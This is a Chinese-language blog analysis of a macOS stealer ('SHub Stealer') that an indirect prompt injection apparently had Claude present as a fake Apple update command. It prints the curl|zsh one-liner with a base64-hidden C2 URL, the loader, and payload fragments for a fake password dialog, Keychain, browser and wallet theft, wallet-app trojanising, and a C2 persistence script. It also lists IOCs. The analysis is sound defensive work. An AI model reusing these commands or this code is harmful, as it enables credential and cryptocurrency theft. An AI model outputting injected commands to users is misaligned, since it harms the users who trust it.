【AI 自身安全-Claude 间接提示词注入恶意样本分析】此文章归类为:AI 自身安全。
2026 年 5 月 6 日,X 上的安全研究员 Tuan Anh Nguyen 分享了一个 Claude 对话链接:
483K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0L8r3q4#2k6r3g2Q4x3X3g2S2K9g2)9J5c8Y4y4Z5j5i4u0W2i4K6u0r3y4o6V1^5z5o6p5^5k6o6W2Q4x3X3b7I4k6r3c8U0i4K6u0V1y4r3k6T1j5W2)9J5k6o6W2X3j5e0N6Q4x3X3b7#2y4X3c8X3j5U0R3@1z5o6b7H3j5U0l9`.

这个对话里,攻击者利用间接提示词注入,在 Claude 的输出中嵌入伪装成 Apple 安全更新的恶意命令,诱导用户复制到终端执行。链接是博主朋友提供的,似乎是员工受到攻击的真实案例,目前恶意载荷已从服务器清除。
手法与 macOS ClickFix 窃密活动十分相似,虽然最开始是通过提示词注入实现的,执行链仍是“诱导用户复制 Terminal 命令 → curl 拉脚本 → zsh/osascript 执行 → 落地窃密器”的 ClickFix 模式。该样本会窃取 iCloud、Keychain、浏览器和钱包数据,并木马化钱包应用,长期驻留 macOS 系统。

很可惜的是看不到claude到底访问了哪些网页,不知道这次间接提示词注入是如何发生成的,只能看看样本
从推文里的对话分享链接中提取到的恶意命令:
echo "Downloading Update: 4a5K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6N6i4m8H3L8%4u0@1i4K6u0W2j5i4m8H3L8r3g2Q4x3X3g2U0L8$3#2Q4x3V1k6V1L8%4N6F1L8r3!0S2k6s2y4Q4x3V1k6E0j5h3y4G2M7#2)9J5k6s2y4W2j5%4g2J5K9i4c8&6i4K6u0V1N6i4m8V1j5i4c8W2i4K6u0V1x3e0c8Q4x3X3f1#2i4K6u0W2k6r3#2Y4" && curl -s $(echo "aHR0cHM6Ly9iYWJ1bGlraW5ldC5jb20vZGVidWcvbG9hZGVyLnNoP2J1aWxkPWU3NDM5OTA1MDYxNDhjYmJjYzI2NzUwNDhlNWI2Zjc4" | base64 -d) | zsh
攻击者的巧思/doge,这个命令里把base64编码后的代码放在后面,在claude的网页端只能看到前面正常的下载 apple 官网文件的链接,诱导用户直接复制到终端执行
Base64 解码出来是:
05aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3c8W2j5Y4g2Y4i4K6u0r3L8r3!0S2k6r3g2J5i4K6u0W2M7$3S2Q4x3@1k6T1N6h3W2D9k6q4)9K6c8r3f1%4y4o6x3&6z5e0l9#2x3o6j5I4y4o6S2U0j5X3u0U0j5K6t1$3y4K6f1H3y4o6S2W2y4h3t1$3k6U0M7^5
通过代理从 C2 把 loader.sh 拉了下来。文件很小,1349 字节,长这样:
#!/bin/zsh
dbf9f2f=$(base64 -D <<'PAYLOAD_9d91ed76' | gunzip
<一大段 Base64>
PAYLOAD_9d91ed76
)
eval "$dbf9f2f"
双层编码 dropper。 结构极其简洁——6 行代码,核心只有一步:base64 -D | gunzip | eval。Base64 解码 → Gzip 解压 → eval 执行。
heredoc 分隔符 PAYLOAD_9d91ed76 带一个 8 位 hex 后缀,应该是自动化混淆工具搞出来的。
| 组件 | SHA256 |
|---|---|
| loader.sh (完整) | efe6b07d573c788d1bae0a296fd1482fbbdc78ee8fefa04c287439349a60b68d |
| Gzip 压缩载荷 | 6323f50132a833c61041becbf8cd109876aae83237f5641e8be09c662beb251e |
| 解码后 Zsh 载荷 | d40b05a349ed006a835e880707a406d000db1c6c79da3c3f77e06422f3ce4065 |
Gzip 头里 MTIME 是 2026-05-06 14:41:22 UTC。还有个有意思的细节——OS 字段是 255。正常的 gzip 会自动填当前系统编号,作者专门修改了一下来隐藏自己的开发平台。
把 Base64 解码、Gzip 解压后,得到一个 1918 字节的 Zsh 脚本。
IS_CIS="false"
if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist \
AppleEnabledInputSources 2>/dev/null | grep -qi russian; then
IS_CIS="true"
fi
它读 macOS 的键盘偏好设置,如果发现有俄语键盘布局,标记 IS_CIS=true,然后发送一条 "cis_blocked" 遥测就直接退出了,猜测攻击者可能是俄语地区的(
LOCALE_INFO=$(defaults read ... | grep -i "KeyboardLayout Name" | head -5 ...)
HOSTNAME=$(hostname)
OS_VER=$(sw_vers -productVersion) # macOS 版本
EXT_IP=$(curl -s 4bbK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2M7r3W2Q4x3X3g2A6M7r3W2X3P5g2)9J5k6h3!0J5k6H3`.`. || curl -s 261K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6A6j5$3q4F1K9r3q4*7K9i4m8Q4x3X3g2U0L8$3@1`. || curl -s cb0K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6A6k6X3y4G2L8X3k6A6k6#2)9J5k6h3#2W2i4K6t1&6
收集了键盘布局、主机名、macOS 版本、公网 IP
send_debug_event() {
local JSON=$(printf '{"event":"%s","build_hash":"%s",...}' "$EVT" "e743990506148cbbcc2675048e5b6f78" ...)
curl -s -X POST "fe3K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3q4H3K9g2)9J5c8X3c8W2j5Y4g2Y4i4K6u0r3k6i4k6W2L8Y4b7`." -H "Content-Type: application/json" -d "$JSON"
}
build_hash 是 e743990506148cbbcc2675048e5b6f78,32 字符 hex,MD5 长度,这应该是标识这次攻击活动/版本的 ID,后面还会反复出现。
daemon_function() {
exec </dev/null # 关闭 stdin
exec >/dev/null # 关闭 stdout
exec 2>/dev/null # 关闭 stderr —— 完全脱离终端
curl -k -s --max-time 30 \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) ... Chrome/91..." \
"6c6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3c8W2j5Y4g2Y4i4K6u0r3M7r3q4&6L8r3!0S2k6q4)9J5k6h3q4H3M7r3I4W2M7$3y4J5K9i4m8@1i4K6y4r3j5Y4g2A6L8r3c8Q4x3@1c8W2y4K6b7K6z5e0V1H3y4e0l9$3x3e0b7^5j5$3u0T1j5$3x3J5y4U0M7#2x3o6b7^5k6e0g2T1y4X3j5%4z5l9`.`." \
| osascript # 直接管道给 osascript 执行,不落盘
}
daemon_function "$@" &
exit 0 # 父进程立即退出
几个关键点:
exec </dev/null; exec >/dev/null; exec 2>/dev/null:三个标准流全关,进程彻底脱离终端。即使你关掉 Terminal 窗口,恶意进程继续跑。curl | osascript:下载的 AppleScript 直接通过管道执行,不写磁盘。C2 是 babulikinet.com。
DNS 解析结果:
172.67.216.222、104.21.93.240 — 两个都是 Cloudflare Anycast IProdrigo.ns.cloudflare.com、sima.ns.cloudflare.com这个域名仅注册了一天(2026 年 5 月 5 日)。

AppleScript 载荷 payload.applescript,约 35KB、1086 行。内部自标识为 "SHub Stealer (DEBUG)",Build Tag 为 "eskalogs2"。
try
do shell script "killall Terminal"
end try
常规且直接的反取证操作,没什么可说的
这个攻击手法与 ClickFix 攻击活动的特征基本一致:弹窗钓鱼、伪装系统更新提示、要求密码验证、循环重试
set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns"
display dialog "You should update the settings to launch the application."
default answer "" with icon imagePath
buttons {"Continue"} default button "Continue"
giving up after 150
with title "System Preferences"
with hidden answer # 密码输入以黑点显示
用的是 macOS 原生的 display dialog API,标题叫 "System Preferences",图标是系统的锁定图标 LockedIcon.icns。弹窗提示说"你需要更新设置才能启动应用",让用户输入密码。
它会重试最多 10 次,每次给 150 秒超时,而且不管密码对不对,所有尝试过的密码都保存到本地文件,即使最后没骗到正确密码,也能收集受害者常用的密码组合。
密码验证用的是 dscl . authonly,验证成功后直接尝试提取 Chrome 钥匙串里的主密码:
do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk \"{print $2}\""
支持 14 款 Chromium 内核浏览器 + Firefox: Chrome、Brave、Edge、Opera、OperaGX、Vivaldi、Orion、Sidekick、Chrome Canary、Chromium、Chrome Dev、Arc、Cốc Cốc、Chrome Beta + Firefox。
窃取的目标文件包括:Cookies、保存的网站密码、表单填充数据、加密钱包扩展的本地存储、扩展的本地数据库
对于 Firefox(Gecko 内核),窃取:
cookies.sqlite、logins.json、key4.db(密码数据库)、cert9.db浏览器模块还专门跑了两趟——第一趟 Chromium() 收集浏览器本身的数据,第二趟 ChromiumWallets() 专门针对加密钱包扩展,这说明攻击者很清楚什么数据值钱/doge。
ChromiumWallets() 硬编码了 约 90 个 Chromium 扩展 ID,逐个去 Local Extension Settings/ 下面匹配。部分列表如下:
| 扩展名 | Extension ID |
|---|---|
| MetaMask | nkbihfbeogaeaoehlefnkodbefgpgknn |
| Phantom (Solana) | bfnaelmomeimhlpmgjnjophhpkkoljpa |
| Trust Wallet | egjidjbpglichdcondbcbdnbeeppgdph |
| Coinbase Wallet | hnfanknocfeofbddgcijnmhnfnkdnaad |
| Rabby | acmacodkjbdgmoleebolmdjonilkdbch |
| Keplr (Cosmos) | dmkamcknogkgcdfhhbddcghachkejeap |
| TronLink | ibnejdfjmmkpcnlpebklmnkoeoihofec |
每个扩展还有一个 3 元组配置 {extension_id, flag1, flag2, flag3},第三个值如果是 1 表示去 IndexedDB/ 下找(而不是 Local Extension Settings/)。这说明作者对每个钱包扩展的数据存储结构都做过逆向。剩下的 80 多个扩展 ID 我还没逐一比对,但覆盖范围显然涵盖了主流钱包生态。
DesktopWallets() 模块硬编码了 25+ 款桌面钱包的默认路径:
| 钱包 | 路径 |
|---|---|
| Exodus | ~/Library/Application Support/Exodus/ |
| Electrum | ~/.electrum/wallets/ |
| Atomic | ~/Library/Application Support/atomic/Local Storage/leveldb/ |
| Guarda | ~/Library/Application Support/Guarda/ |
| Coinomi | ~/Library/Application Support/Coinomi/wallets/ |
| Sparrow | ~/.sparrow/wallets/ |
| Wasabi | ~/.walletwasabi/client/Wallets/ |
| Bitcoin Core | ~/Library/Application Support/Bitcoin/wallets/ |
| Monero | ~/.bitmonero/wallets/ |
| Litecoin Core | ~/Library/Application Support/Litecoin/wallets/ |
| Dash Core | ~/Library/Application Support/DashCore/wallets/ |
| Dogecoin Core | ~/Library/Application Support/Dogecoin/wallets/ |
| Ledger Live | ~/Library/Application Support/Ledger Live/ |
| Trezor Suite | ~/Library/Application Support/@trezor |
| Daedalus (Cardano) | ~/Library/Application Support/Daedalus Mainnet/wallets/ |
GrabFolderLimit() 方法设置了 100MB 的单个钱包窃取上限(硬编码 100 * 1024 * 1024),应该是怕钱包数据太大影响回传效率。排除列表里有 .DS_Store、Code Cache、Cache、journals、Previews——这是一种过滤策略,只拿有实际价值的数据,不搬运缓存和预览垃圾。
set tgPath to library & "Telegram Desktop/tdata/"
专门针对 Telegram Desktop 的 tdata/ 目录,只拿了两个就能完整劫持 Telegram 会话的关键文件
set keychainPath to (POSIX path of (path to home folder)) & "Library/Keychains/"
直接把整个 ~/Library/Keychains/ 目录拷走。 macOS 的钥匙串里存着所有的 Wi-Fi 密码、应用密码、Safari 保存的密码、邮件账户密码……
set cloudPath to (POSIX path of (path to home folder)) & "Library/Application Support/iCloud/Accounts/"
iCloud 账户数据也打包带走。
这个有点乱,让大模型总结了一下:
docx、doc、wallet、key、keys、txt、rtf、csv、xls、xlsx、json、rdppng(猜测:可能是桌面截图、助记词截图)还额外收集:
.zshrc、.zsh_history、.bash_history、.gitconfig木马从 C2 下载恶意 .asar 文件(Electron 应用的打包格式),注入到已安装的钱包应用中。目标应用有 5 个:
| 钱包 | C2 asar 端点 |
|---|---|
| Exodus | /gate/exodus-asar |
| Atomic Wallet | /gate/atomic-asar |
| Ledger Wallet | /gate/ledger-asar |
| Ledger Live | /gate/ledgerlive-asar |
| Trezor Suite | /gate/trezor-asar |
以 Exodus 为例,注入流程为:
pkill -9 Exodus —— 先杀进程cp -rf /Applications/Exodus.app /tmp/Exodus_tmp.app —— 复制应用到临时目录rm -rf /Applications/Exodus.app —— 删除原应用(绕过 macOS 的 TCC 保护)mv /tmp/Exodus_tmp.app /Applications/Exodus.app —— 移回来mv /tmp/app.asar /Applications/Exodus.app/Contents/Resources/app.asar —— 替换核心代码xattr -cr /Applications/Exodus.app —— 移除隔离属性(com.apple.quarantine)codesign -f -d -s - /Applications/Exodus.app —— ad-hoc 重签名步骤 2-4 的"移出再移回"操作很可能是为了绕过 macOS 的 TCC (Transparency, Consent, and Control) 保护——应用目录受 SIP 保护时直接替换文件会被拒绝,但删除后重新创建是可以的。xattr -cr 清除隔离标志,codesign 做 ad-hoc 自签名来绕过 Gatekeeper。
有意思的是,Ledger Wallet 和 Ledger Live 的注入还额外替换了 Info.plist。这两个是硬件钱包的配套应用——Info.plist 被替换后可能授予了额外的权限(比如访问摄像头/麦克风/辅助功能),用于后续更隐蔽的监控。
木马把持久化脚本藏在 ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/GoogleUpdate,然后用一个 LaunchAgent plist com.google.keystone.agent.plist 每 60 秒启动一次。
持久化脚本解码后是这样的,:
#!/bin/bash
GATE_URL="186K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8b7`.`."
BOT_ID=$(ioreg -d2 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}')
BUILD_ID="d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f"
HOSTNAME=$(hostname)
IP=$(curl -s 413K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2M7r3W2Q4x3X3g2A6M7r3W2X3P5g2)9J5k6h3!0J5k6H3`.`. 2>/dev/null || echo unknown)
OS_VER=$(sw_vers -productVersion)
# 心跳请求
RESP=$(curl -s -X POST "$GATE_URL/api/bot/heartbeat" \
-H "Content-Type: application/json" \
-d '{"bot_id":"'"$BOT_ID"'","build_id":"'"$BUILD_ID"'",...}')
# 提取 C2 下发的命令
CODE=$(echo "$RESP" | sed -n 's/.*"code":"\([^"]*\)".*/\1/p')
# 如果有命令,base64 解码后写入 /tmp/.c.sh 并执行
if [ -n "$CODE" ]; then
echo "$CODE" | base64 -d > /tmp/.c.sh && chmod +x /tmp/.c.sh && /tmp/.c.sh
rm -f /tmp/.c.sh
fi
其中,用硬件 UUID(IOPlatformUUID)作为 bot 标识——这个标识即使重装系统也不会变,并且C2 可以在响应里携带任意 Base64 编码的 Shell 命令,落地到 /tmp/.c.sh 执行
木马把窃取的所有数据先存到 /tmp/shub_<random>/,然后用 ditto 打包成 ZIP 上传到 C2:
文件 < 85MB 的直接 POST 到 /gate,文件 ≥ 85MB 则启动分片模式,按优先级排序:Wallets → KeyChains → Browsers → Telegram → Safari → Notes → Profile,每个分片 ≤ 70MB,独立打包成 ZIP再上传。所有操作完成后自动清理
display dialog "Your Mac does not support this application.
Try reinstalling or downloading the version for your system."
with title "System Preferences" with icon stop buttons {"OK"}
偷完所有数据后,弹一个假错误对话框,让受害者以为只是应用程序不兼容——从而不会怀疑自己中了木马。
整个过程中,木马还向 C2 发送了详细的遥测事件,形成了一个完整的事件流水:
payload_started → password_obtained/failed → collecting_browsers → collecting_wallets → data_collected → zip_sent
每个事件都带上 build_hash 和 IP,攻击者可以在后台实时看到每台受害机的进度。
经过两阶段全部代码分析,完整的 C2 路由表如下:
| 端点 | 方法 | 用途 |
|---|---|---|
/debug/loader.sh?build=<hash> |
GET | 第一阶段 loader.sh 分发 |
/api/debug/event |
POST | 全部遥测事件(两阶段共用) |
/debug/payload.applescript?build=<hash> |
GET | 第二阶段 AppleScript 载荷分发 |
/gate |
POST | 窃取数据 ZIP 上传 |
/gate/chunk |
POST | 分片上传 |
/gate/exodus-asar |
GET | Exodus 钱包注入载荷 |
/gate/atomic-asar |
GET | Atomic Wallet 注入载荷 |
/gate/ledger-asar |
GET | Ledger Wallet 注入载荷 |
/gate/ledgerlive-asar |
GET | Ledger Live 注入载荷 |
/gate/trezor-asar |
GET | Trezor Suite 注入载荷 |
/api/bot/heartbeat |
POST | 持久化心跳 / 远程命令 |
这个样本可归类 ClickFix 攻击活动,想了解更多的可以参考微软安全团队的推文:
901K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2E0K9h3y4J5L8%4y4G2k6Y4c8Q4x3X3g2U0L8$3#2Q4x3V1k6W2L8W2)9J5k6s2g2K6i4K6u0r3M7$3g2U0N6i4u0A6N6s2W2Q4x3V1k6T1L8r3!0Y4i4K6u0r3x3U0l9J5y4W2)9J5c8U0l9#2i4K6u0r3x3o6k6Q4x3V1k6U0L8r3W2U0K9$3k6A6P5q4)9J5k6r3y4S2L8i4m8S2K9h3N6F1i4K6u0V1N6i4y4W2M7#2)9J5k6r3k6S2K9$3g2Q4x3X3c8E0j5h3y4G2M7#2)9J5k6s2g2@1K9h3I4A6N6r3W2W2M7#2)9J5k6r3I4#2M7X3g2K6i4K6u0V1k6r3g2D9K9i4k6W2M7W2)9J5k6r3W2F1k6X3!0K6N6r3g2S2L8r3g2J5M7#2)9J5c8R3`.`.
大模型给的总结:
总结自大模型:
| IOC 类型 | 值 | 组件 |
|---|---|---|
| SHA256 | efe6b07d573c788d1bae0a296fd1482fbbdc78ee8fefa04c287439349a60b68d |
loader.sh |
| SHA256 | 6323f50132a833c61041becbf8cd109876aae83237f5641e8be09c662beb251e |
Gzip 载荷 |
| SHA256 | d40b05a349ed006a835e880707a406d000db1c6c79da3c3f77e06422f3ce4065 |
解码后 Zsh |
| MD5 | d8788f0aabdb3f5b1e705783a7e14261 |
loader.sh |
| IOC 类型 | 值 |
|---|---|
| 域名 | babulikinet.com |
| IP(Cloudflare CDN) | 172.67.216.222 |
| IP(Cloudflare CDN) | 104.21.93.240 |
| 遥测 URL | 815K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3q4H3K9g2)9J5c8X3c8W2j5Y4g2Y4i4K6u0r3k6i4k6W2L8Y4b7`. |
| 第一阶段 URL | 154K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3c8W2j5Y4g2Y4i4K6u0r3L8r3!0S2k6r3g2J5i4K6u0W2M7$3S2Q4x3@1k6T1N6h3W2D9k6q4)9K6c8r3f1%4y4o6x3&6z5e0l9#2x3o6j5I4y4o6S2U0j5X3u0U0j5K6t1$3y4K6f1H3y4o6S2W2y4h3t1$3k6U0M7^5 |
| 第二阶段 URL | 344K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3c8W2j5Y4g2Y4i4K6u0r3M7r3q4&6L8r3!0S2k6q4)9J5k6h3q4H3M7r3I4W2M7$3y4J5K9i4m8@1i4K6y4r3j5Y4g2A6L8r3c8Q4x3@1c8W2y4K6b7K6z5e0V1H3y4e0l9$3x3e0b7^5j5$3u0T1j5$3x3J5y4U0M7#2x3o6b7^5k6e0g2T1y4X3j5%4z5l9`.`. |
| 数据回传 | e79K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3N6S2N6r3f1`. |
| 分片上传 | 702K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3N6S2N6r3g2Q4x3V1k6U0K9s2g2F1K9H3`.`. |
| 持久化 C2 | 755K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3q4H3K9g2)9J5c8X3u0G2N6q4)9J5c8X3S2W2j5i4u0@1j5X3g2S2N6l9`.`. |
| 标识符 | 值 |
|---|---|
| Build Hash | e743990506148cbbcc2675048e5b6f78 |
| Build ID (txd) | d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f |
| Build Name | eskalogs2 |
| Gate API Key | 61cb9c3bd1a2faa7d6613dd8e5d09e79fe95e85ab09ed6bcd6406badff5a083f |
| 自标识 | SHub Stealer (DEBUG) |
所有原始恶意样本已打包为 malware_samples_0506.zip(密码 0506)。文件结构如下:
malware_samples_0506.zip
├── original_samples/
│ ├── loader.sh # 第一阶段 Zsh dropper (1.3 KB)
│ ├── stage2_payload.applescript # 第二阶段 AppleScript 载荷 (58 KB)
│ ├── exodus-asar # Exodus 注入包 — C2 原始 ZIP (55 MB)
│ ├── atomic-asar # Atomic Wallet 注入包 (28 MB)
│ ├── ledger-asar # Ledger Wallet 注入包 (2 MB)
│ ├── ledgerlive-asar # Ledger Live 注入包 (2 MB)
│ ├── trezor-asar # Trezor Suite 注入包 (30 MB)
│ ├── exodus.asar # 解压后的 Exodus 恶意 asar (82 KB)
│ ├── atomic.asar # 解压后的 Atomic Wallet 恶意 asar (42 KB)
│ ├── ledger.asar # 解压后的 Ledger Wallet 恶意 asar (3 KB)
│ ├── ledgerlive.asar # 解压后的 Ledger Live 恶意 asar (3 KB)
│ └── trezor.asar # 解压后的 Trezor Suite 恶意 asar (45 KB)
└── decoded_artifacts/
├── payload_base64.txt # loader.sh 中提取的 Base64 字符串
├── payload_gzip.bin # Base64 解码后的 gzip 压缩数据
└── payload_decoded.zsh # gzip 解压后的内层 Zsh 脚本
*-asar(无后缀点)= C2 直接返回的 ZIP 包,包含完整 Electron 应用框架*.asar = 从 ZIP 中解压出的核心注入代码,为 Electron asar 归档格式,可用 npx @electron/asar extract <file> <output_dir> 解包分析decoded_artifacts/ = 分析过程中从 loader.sh 逐层解码产出的中间文件更多【AI 自身安全-Claude 间接提示词注入恶意样本分析】相关视频教程:www.yxfzedu.com